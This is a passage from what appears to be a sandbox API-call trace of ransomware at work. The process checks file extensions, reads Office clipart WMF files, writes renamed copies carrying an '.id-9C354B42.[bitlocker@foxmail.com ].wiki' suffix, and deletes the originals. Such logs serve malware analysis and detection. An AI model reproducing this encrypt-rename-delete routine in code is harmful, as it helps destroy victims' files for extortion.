lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.080] lstrlenW (lpString=".xls") returned 4 [0061.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.080] lstrlenW (lpString=".xlsx") returned 5 [0061.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.080] lstrlenW (lpString=".ppt") returned 4 [0061.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.080] lstrlenW (lpString=".zip") returned 4 [0061.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.080] lstrlenW (lpString=".rar") returned 4 [0061.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.080] lstrlenW (lpString=".bz2") returned 4 [0061.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.080] lstrlenW (lpString=".7z") returned 3 [0061.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.081] lstrlenW (lpString=".dbf") returned 4 [0061.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.081] lstrlenW (lpString=".1cd") returned 4 [0061.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.081] lstrlenW (lpString=".jpg") returned 4 [0061.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.081] lstrlenW (lpString=".doc") returned 4 [0061.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString=".docx") returned 5 [0061.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.081] lstrlenW (lpString=".pdf") returned 4 [0061.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString=".xls") returned 4 [0061.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.081] lstrlenW (lpString=".xlsx") returned 5 [0061.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.081] lstrlenW (lpString=".ppt") returned 4 [0061.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.081] lstrlenW (lpString=".zip") returned 4 [0061.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.081] lstrlenW (lpString=".rar") returned 4 [0061.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString=".bz2") returned 4 [0061.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.081] lstrlenW (lpString=".7z") returned 3 [0061.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.081] lstrlenW (lpString=".dbf") returned 4 [0061.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.082] lstrlenW (lpString=".1cd") returned 4 [0061.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0061.082] lstrlenW (lpString=".jpg") returned 4 [0061.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.082] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.082] lstrlenW (lpString="AN01060_.WMF") returned 12 [0061.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.090] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=7968) returned 1 [0061.090] CloseHandle (hObject=0x180) returned 1 [0061.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0061.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.090] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.090] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.090] GetLastError () returned 0x0 [0061.096] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1f20, lpOverlapped=0x0) returned 1 [0061.128] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0061.129] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.129] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.129] SetEndOfFile (hFile=0x20c) returned 1 [0061.129] CloseHandle (hObject=0x20c) returned 1 [0061.130] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.130] SetEndOfFile (hFile=0x180) returned 1 [0061.130] CloseHandle (hObject=0x180) returned 1 [0061.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0061.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.131] lstrlenW (lpString=".doc") returned 4 [0061.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.131] lstrlenW (lpString=".docx") returned 5 [0061.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.131] lstrlenW (lpString=".pdf") returned 4 [0061.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.131] lstrlenW (lpString=".xls") returned 4 [0061.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.131] lstrlenW (lpString=".xlsx") returned 5 [0061.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.131] lstrlenW (lpString=".ppt") returned 4 [0061.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.131] lstrlenW (lpString=".zip") returned 4 [0061.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.131] lstrlenW (lpString=".rar") returned 4 [0061.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.131] lstrlenW (lpString=".bz2") returned 4 [0061.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.131] lstrlenW (lpString=".7z") returned 3 [0061.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.131] lstrlenW (lpString=".dbf") returned 4 [0061.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.132] lstrlenW (lpString=".1cd") returned 4 [0061.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.132] lstrlenW (lpString=".jpg") returned 4 [0061.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.132] lstrlenW (lpString=".doc") returned 4 [0061.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString=".docx") returned 5 [0061.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.132] lstrlenW (lpString=".pdf") returned 4 [0061.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString=".xls") returned 4 [0061.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.132] lstrlenW (lpString=".xlsx") returned 5 [0061.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.132] lstrlenW (lpString=".ppt") returned 4 [0061.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.132] lstrlenW (lpString=".zip") returned 4 [0061.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.132] lstrlenW (lpString=".rar") returned 4 [0061.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString=".bz2") returned 4 [0061.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString=".7z") returned 3 [0061.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.132] lstrlenW (lpString=".dbf") returned 4 [0061.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.133] lstrlenW (lpString=".1cd") returned 4 [0061.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0061.133] lstrlenW (lpString=".jpg") returned 4 [0061.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.133] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.133] lstrlenW (lpString="AN01218_.WMF") returned 12 [0061.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.133] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3012) returned 1 [0061.133] CloseHandle (hObject=0x180) returned 1 [0061.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0061.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.133] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.134] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.134] GetLastError () returned 0x0 [0061.134] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0061.137] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0061.138] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.138] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.138] SetEndOfFile (hFile=0x20c) returned 1 [0061.138] CloseHandle (hObject=0x20c) returned 1 [0061.138] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.138] SetEndOfFile (hFile=0x180) returned 1 [0061.139] CloseHandle (hObject=0x180) returned 1 [0061.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0061.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.140] lstrlenW (lpString=".doc") returned 4 [0061.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.140] lstrlenW (lpString=".docx") returned 5 [0061.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.140] lstrlenW (lpString=".pdf") returned 4 [0061.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.140] lstrlenW (lpString=".xls") returned 4 [0061.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.140] lstrlenW (lpString=".xlsx") returned 5 [0061.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.140] lstrlenW (lpString=".ppt") returned 4 [0061.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.140] lstrlenW (lpString=".zip") returned 4 [0061.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.140] lstrlenW (lpString=".rar") returned 4 [0061.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.140] lstrlenW (lpString=".bz2") returned 4 [0061.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.140] lstrlenW (lpString=".7z") returned 3 [0061.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.140] lstrlenW (lpString=".dbf") returned 4 [0061.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.140] lstrlenW (lpString=".1cd") returned 4 [0061.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.140] lstrlenW (lpString=".jpg") returned 4 [0061.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.141] lstrlenW (lpString=".doc") returned 4 [0061.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString=".docx") returned 5 [0061.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.141] lstrlenW (lpString=".pdf") returned 4 [0061.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString=".xls") returned 4 [0061.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.141] lstrlenW (lpString=".xlsx") returned 5 [0061.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.141] lstrlenW (lpString=".ppt") returned 4 [0061.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.141] lstrlenW (lpString=".zip") returned 4 [0061.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.141] lstrlenW (lpString=".rar") returned 4 [0061.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString=".bz2") returned 4 [0061.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString=".7z") returned 3 [0061.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.141] lstrlenW (lpString=".dbf") returned 4 [0061.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.141] lstrlenW (lpString=".1cd") returned 4 [0061.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0061.141] lstrlenW (lpString=".jpg") returned 4 [0061.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.142] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.142] lstrlenW (lpString="AN01251_.WMF") returned 12 [0061.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.142] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2756) returned 1 [0061.142] CloseHandle (hObject=0x180) returned 1 [0061.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0061.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.142] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.142] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.143] GetLastError () returned 0x0 [0061.143] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xac4, lpOverlapped=0x0) returned 1 [0061.320] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0061.348] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.348] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.348] SetEndOfFile (hFile=0x20c) returned 1 [0061.348] CloseHandle (hObject=0x20c) returned 1 [0061.348] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.348] SetEndOfFile (hFile=0x180) returned 1 [0061.349] CloseHandle (hObject=0x180) returned 1 [0061.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0061.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.349] lstrlenW (lpString=".doc") returned 4 [0061.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.349] lstrlenW (lpString=".docx") returned 5 [0061.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.349] lstrlenW (lpString=".pdf") returned 4 [0061.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.349] lstrlenW (lpString=".xls") returned 4 [0061.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.349] lstrlenW (lpString=".xlsx") returned 5 [0061.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.349] lstrlenW (lpString=".ppt") returned 4 [0061.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0061.350] lstrlenW (lpString=".zip") returned 4 [0061.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.350] lstrlenW (lpString=".rar") returned 4 [0061.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.350] lstrlenW (lpString=".bz2") returned 4 [0061.350] lstrcmpiW (lpString1=".bz2", 